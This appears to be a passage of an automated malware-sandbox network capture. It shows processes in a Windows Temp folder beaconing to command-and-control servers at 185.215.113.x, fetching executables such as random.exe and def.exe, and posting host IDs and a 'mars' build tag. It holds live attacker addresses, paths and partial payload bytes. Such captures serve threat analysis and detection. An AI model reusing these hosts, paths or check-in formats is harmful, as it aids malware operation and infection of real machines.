00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 6a 00 00 04 00 00 0a 34 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"j@0j4@M$a$ $b@.rsrc $r@.idata $r@ *$t@qtucxrez@O2v@khcuhpfki@.taggant0j"@
Nov 15, 2024 16:17:20.545101881 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:20.545125961 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:20.545222044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:20.545305014 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:20.545319080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:20.545336008 CET	1236	IN	Data Raw: ba c3 f2 ef ce 50 bb c5 b1 4c d8 c9 63 70 fe 81 75 ad 02 34 9a dc b2 45 d7 e0 64 6a 0d 88 94 8a 1c a4 e5 4f 1c 72 c8 2d d7 85 12 72 14 38 a5 64 5e c3 24 c3 f4 ef ef e5 65 4b c9 5d 0e 74 a4 de f5 7d 9f ad 86 7a c1 f0 a4 fe 5a 7a b1 5d d7 56 a8 81 Data Ascii: PLcpu4EdjOr-r8d^$eK]t}zZz]VIzd~scpCDJuv8JsvZ~X!Iq~s nJ$Yz{x?"(~bK&hcn@hRF]NN[
Nov 15, 2024 16:17:20.545388937 CET	424	IN	Data Raw: 37 b6 bd af 46 7e 7a c9 bf cd 4a 3e 76 d5 e9 6c 30 f4 71 76 e8 11 a3 86 d4 b1 81 bf fa bc 7a fe d1 a1 3c 05 6c f9 c8 2f 56 74 35 8c e5 46 5c 2d 30 48 76 fe 9e 5f 9e f0 a9 e1 91 6c 03 10 8d fd 62 3d dc 86 89 d9 fa f7 4c ec 9e a8 15 27 ea 41 a0 2a Data Ascii: 7F~zJ>vl0qvz<l/Vt5F\-0Hv_lb=L'A*eO(rfyN+\}>kixH5}fC3TlD{r/t'Vu5[!#b)eW)Jqz %scdpY0St/5
Nov 15, 2024 16:17:20.545404911 CET	1236	IN	Data Raw: 99 d5 49 b4 71 d5 26 b2 85 4d 88 69 a3 e9 23 25 4f 60 55 6c 67 95 1e 2e 0f 64 b1 77 7d 8a df 12 d9 70 2e 1a d7 ef 5c 92 d0 bd 3a e8 f4 91 40 80 36 df d7 54 b6 dc 81 0e 3c f1 2e 40 c1 c6 a2 80 2e e1 bc f0 dd c6 d1 01 86 33 ab 66 a5 d3 40 95 6c a5 Data Ascii: Iq&Mi#%O`Ulg.dw}p.\:@6T<.@.3f@l)6tjxpx]uR4xl 5=5gU^ofOo@V)!t%?trBXgU8.e5 3y1g
Nov 15, 2024 16:17:20.545420885 CET	1236	IN	Data Raw: 21 b1 12 f0 b7 1f a7 84 bc 8c ee ed cd f9 2a cc ab f4 c6 a9 d5 8d 2a ef a7 bc a8 73 8a 60 ad 86 01 80 7a a8 c0 a6 1d 8e 4d ad 22 b8 19 f4 1a 84 31 b1 7e 87 f7 38 47 ea a6 28 dd 08 8e b1 a8 4d a1 85 c8 73 5d f0 ac 3d b7 24 1f 77 8a 84 f9 34 0e 0d Data Ascii: !**s`zM"1~8G(Ms]=$w4YH8t&^hi HC>H7ukx~].t$06nKgHERXt&nbL=\|g\|&QE
Nov 15, 2024 16:17:20.550220013 CET	1236	IN	Data Raw: ae 7c f6 ed 49 b0 c0 ba 2a 94 0e 7c d7 f0 10 07 db 80 9f 67 72 fc 1a 7c 35 93 3a f0 d9 6a a6 be 19 1c 9f 2d 1a bd b6 91 5a 7b fc 8f b6 99 b6 7b b7 50 20 a8 67 b4 c8 d5 d9 9a aa 50 a8 f0 1a 7c 51 c3 c8 32 be f0 af 9d b6 8c 24 7d fd 1e c4 ad a6 c4 Data Ascii: \|I\|gr\|5:j-Z{{P gP\|Q2$}u#9t{&U{}8~urru1Vo0&*n}26\|=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50004	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:24.103225946 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 34 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006463001&unit=246122658369
Nov 15, 2024 16:17:25.009680986 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50007	185.215.113.16	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:25.160789013 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Fri, 15 Nov 2024 15:05:27 GMT If-None-Match: "67376337-1bd000"
Nov 15, 2024 16:17:26.075979948 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:25 GMT Last-Modified: Fri, 15 Nov 2024 15:05:27 GMT Connection: keep-alive ETag: "67376337-1bd000"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50008	185.215.113.206	80	7264	C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:25.435554028 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 15, 2024 16:17:26.370656013 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:17:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 16:17:26.409416914 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKECFIIEHCFHIECAFBA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 33 31 42 34 33 35 46 39 30 31 39 34 32 37 37 39 37 33 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 2d 2d 0d 0a Data Ascii: ------FBKECFIIEHCFHIECAFBAContent-Disposition: form-data; name="hwid"31231B435F901942779736------FBKECFIIEHCFHIECAFBAContent-Disposition: form-data; name="build"mars------FBKECFIIEHCFHIECAFBA--
Nov 15, 2024 16:17:26.693747044 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:17:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50013	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:28.156440020 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 34 36 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006464031&unit=246122658369
Nov 15, 2024 16:17:29.071234941 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50014	185.215.113.16	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:29.078288078 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 15, 2024 16:17:29.978213072 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:29 GMT Content-Type: application/octet-stream Content-Length: 2848768 Last-Modified: Fri, 15 Nov 2024 15:04:04 GMT Connection: keep-alive ETag: "673762e4-2b7800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 3e 34 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,>4,`Ui` @ @.rsrc`2@.idata 8@cqrjeytt ++:@ftifzosq +P+@.taggant@+"V+@
Nov 15, 2024 16:17:29.978221893 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:29.978367090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:29.978451014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:29.978461027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:29.978470087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:29.978692055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:29.978702068 CET	760	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:29.978710890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 53lGo+kbLlzmogA
Nov 15, 2024 16:17:29.978719950 CET	1236	IN	Data Raw: f5 51 00 2d 77 12 be 3f f7 e5 9b cb f5 4f 70 b9 e9 73 02 f4 af 51 8a 20 2a 9c 48 29 e8 26 11 76 a0 06 92 64 e8 f2 8d d1 33 e4 0d 63 6b 7c da 6a 32 12 74 e8 c6 12 0e 7e e9 bf 02 6a 1f 5d a5 4d f6 17 52 8e 3d 83 8d 5e 3f eb 78 8f f3 85 a3 81 dd 14 Data Ascii: Q-w?OpsQ *H)&vd3ck\|j2t~j]MR=^?xdmSu.<N;ggT'kHlv(_Sh#R>Vg&,7]l41MVvS>_?f(kiW%Ebw{bcqkoFV&
Nov 15, 2024 16:17:29.983131886 CET	1236	IN	Data Raw: 8c 32 df 69 e9 50 67 c3 82 6d 85 c5 8b 4e 63 28 04 7f cf b2 dd 21 e8 c9 78 36 41 8b 86 25 8b b3 b4 95 5d cd 95 8b 56 be 8b 7b 6f e9 e0 53 d8 b8 20 31 90 cc 7f 2a 01 ca 92 16 b2 ab 92 dc 06 ee be c3 72 f6 9d b5 52 79 81 7a 73 34 5b c5 8a 03 7f 0a Data Ascii: 2iPgmNc(!x6A%]V{oS 1*rRyzs4[V]+0R~;kngt`p]v\|DWaP#8cV8cnhoe!e8\ecf5mTwl/nQm9h^wv~vvx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50021	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:34.080259085 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 34 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006465001&unit=246122658369
Nov 15, 2024 16:17:34.991756916 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50023	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:36.624731064 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:17:37.529865026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50027	185.215.113.16	80	368	C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:38.856116056 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 15, 2024 16:17:39.757111073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:39 GMT Content-Type: application/octet-stream Content-Length: 2848768 Last-Modified: Fri, 15 Nov 2024 15:04:06 GMT Connection: keep-alive ETag: "673762e6-2b7800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 3e 34 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,>4,`Ui` @ @.rsrc`2@.idata 8@cqrjeytt ++:@ftifzosq +P+@.taggant@+"V+@
Nov 15, 2024 16:17:39.757164955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:39.757216930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:39.757251978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:39.757287025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:39.757322073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:39.757355928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:39.757390976 CET	1236	IN	Data Raw: 41 db 88 ac 69 36 88 69 e0 27 8a f1 ef 5d 6d 7f 4c 72 73 8f 83 50 66 4f bc ed c3 6e 1a 70 d4 99 88 5f 3e 0b 27 8e 13 cf 37 a6 4d b9 17 54 f8 6c d3 ec a7 7f 9f e1 04 74 e1 4e 8b 75 d1 e4 40 9d d7 19 98 af 69 e2 9b d7 8c 3d a9 79 f3 f7 8a 1c af fe Data Ascii: Ai6i']mLrsPfOnp_>'7MTltNu@i=yWxo\|4ln^Jk.=GM;wU3p"tb:Pre-<cYaM0Wp2U^qrH`vA^O,mkr,R1
Nov 15, 2024 16:17:39.757426977 CET	1236	IN	Data Raw: 5c da a1 d9 34 da ad 8d 4c 07 29 b9 ea 3f a4 fe a2 47 98 b5 71 50 c6 8e b3 62 4e a9 d5 1f 9e ac a3 47 5e 8f 41 7f 5a aa 44 10 1c 31 d5 da 61 af a3 7b a2 c1 70 23 72 bb 87 76 78 f5 ac 3f 86 96 73 3e 3e 15 ea 5b 95 27 d5 5f b6 ac 63 ee 1d e1 5a d7 Data Ascii: \4L)?GqPbNG^AZD1a{p#rvx?s>>['_cZ&R@.'#5V1J7J%4!]bYGykBuo6[oBsGyNHU-2R(k[_BZ{P*8Gh9PlQPla
Nov 15, 2024 16:17:39.757462978 CET	1236	IN	Data Raw: 93 f9 98 a6 7f 57 a2 9a 90 82 d2 ac d8 03 92 38 e6 10 a0 c1 a4 ea 4d 46 e8 35 53 ce 85 b7 7d 4b 8e 42 54 fc e6 96 c0 68 52 34 fd 9b c3 f1 5c 56 92 df 7d 9f f5 80 11 cd d2 0f 84 cd 81 30 72 12 5b ea 75 7e d1 34 6e a4 e4 a9 3e ac 6d ca b9 1d 20 05 Data Ascii: W8MF5S}KBThR4\V}0r[u~4n>m 7;_,Dj1TJcZP~doMF4LAI9[DT6m51`Jp\#&cp-=yPR!4EUb"7To&Sg@cz%^K*8
Nov 15, 2024 16:17:39.762365103 CET	1120	IN	Data Raw: ec 22 e9 42 ba f3 02 96 c7 77 8d 68 0e 13 c0 8c f7 ea 93 ec f6 f3 61 61 f2 49 f6 c6 f3 e2 e6 bd f7 e3 6b a3 a2 ee 2f 5a 77 b6 f7 f7 95 a0 a5 fe ab 9d 7a a8 94 81 aa 71 a3 11 90 d8 8c 2e 76 a3 fd 7c 68 aa 87 30 61 3e 22 3a 87 5c 32 84 73 ea 82 b7 Data Ascii: "BwhaaIk/Zwzq.v\|h0a>":\2smV_f-w/V=O?RQCHm7~9D8RE~?V62Hwy`#$G^C?#\1aVh4Jaey;v<sW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50028	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:39.047122955 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:17:39.966531038 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50030	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:41.604167938 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
